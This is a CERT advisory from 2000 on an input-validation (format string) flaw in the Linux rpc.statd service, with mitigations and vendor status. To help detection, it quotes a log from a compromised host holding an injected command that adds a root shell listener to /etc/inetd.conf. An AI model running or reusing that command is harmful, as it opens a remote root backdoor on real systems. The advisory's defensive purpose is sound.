||Home : Advisories : Input Validation Problem in rpc.statd|
||Input Validation Problem in rpc.statd
||18th August 2000
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CERT Advisory CA-2000-17 Input Validation Problem in rpc.statd
Original release date: August 18, 2000
A complete revision history is at the end of this file.
* Systems running the rpc.statd service
The CERT/CC has begun receiving reports of an input validation
vulnerability in the rpc.statd program being exploited. This program
is included, and often installed by default, in several popular Linux
distributions. Please see Appendix A of this document for specific
information regarding affected distributions.
More information about this vulnerability is available at the
following public URLs:
The rpc.statd program passes user-supplied data to the syslog()
function as a format string. If there is no input validation of this
string, a malicious user can inject machine code to be executed with
the privileges of the rpc.statd process, typically root.
The following is an example log message from a compromised system
illustrating the rpc.statd exploit occurring:
Aug XX 17:13:08 victim rpc.statd: SM_MON request for hostname
containing '/': ^D^D^E^E^F ^F^G^G08049f10 bffff754 000028f8 4d5f4d53
72204e4f 65757165 66207473 6820726f 6e74736f 20656d61 746e6f63
696e6961 2720676e 203a272f
<83> <89>^<83> <8D>^.<83> <83> <83>#<89>^
/sh -c echo 9704 stream tcp
nowait root /bin/sh sh -i >> /etc/inetd.conf;killall -HUP inetd
If you see log entries similar to those above, we suggest you examine
your system for signs of intrusion by following the steps outlined in
our Intruder Detection Checklist. If you believe your host has been
compromised, please follow our Steps for Recovering From a Root
Compromise. Please check our Current Activity page for updates
regarding intruder activity.
By exploiting this vulnerability, local or remote users may be able to
execute arbitrary code with the privileges of the rpc.statd process,
Upgrade your version of rpc.statd
Please see Appendix A of this advisory for more information about the
availability of program updates specific to your system. If you are
running a vulnerable version of rpc.statd, the CERT/CC encourages you
to apply appropriate vendor patches. After making any updates, be sure
to restart the rpc.statd service.
Disable the rpc.statd service
If an update cannot be applied, the CERT/CC recommends disabling the
rpc.statd service. We advise proceeding with caution, however, as
disabling this process can interfere with NFS functionality.
Block unneeded ports at your firewall
As a good security practice in general, the CERT/CC recommends
blocking unneeded ports at your firewall. This option does not remedy
the vulnerability, but does prevent outside intruders from exploiting
it. In particular, block port 111 (portmapper), as well as the port on
which rpc.statd is running, which may vary.
Appendix A. Vendor Information
This section contains information provided by vendors for this
advisory. We will update this appendix as we receive more information.
If you do not see your vendor's name, the CERT/CC did not receive a
response from that vendor. Please contact your vendor directly.
Berkeley Software Design, Inc. (BSDI)
No versions of BSD/OS are vulnerable.
Not vulnerable: None of our products ship with rpc.statd
At the time of writing this document, Compaq is currently
investigating the potential impact to Compaq's rpc.statd service.
Initial tests indicate it is not a potential vulnerability for Compaq
As further information becomes available Compaq will provide notice of
the completion/availability of any necessary patches through AES
services (DIA, DSNlink FLASH and posted to the Services WEB page) and
be available from your normal Compaq Services Support channel.
FreeBSD is not vulnerable to this problem.
NetBSD 1.4.x and NetBSD 1.5 do not appear to be affected by this
problem; all calls to syslog() within rpc.statd take a constant string
for the format argument.
*Linux* systems running the rpc.statd service!
This affects noone else!
Silicon Graphics, Inc.
IRIX rpc.statd is not vulnerable to this security issue.
Authors: John Shaffer, Brian King
This document is available from:
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Fax: +1 412-268-6989
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August 18, 2000: Initial release
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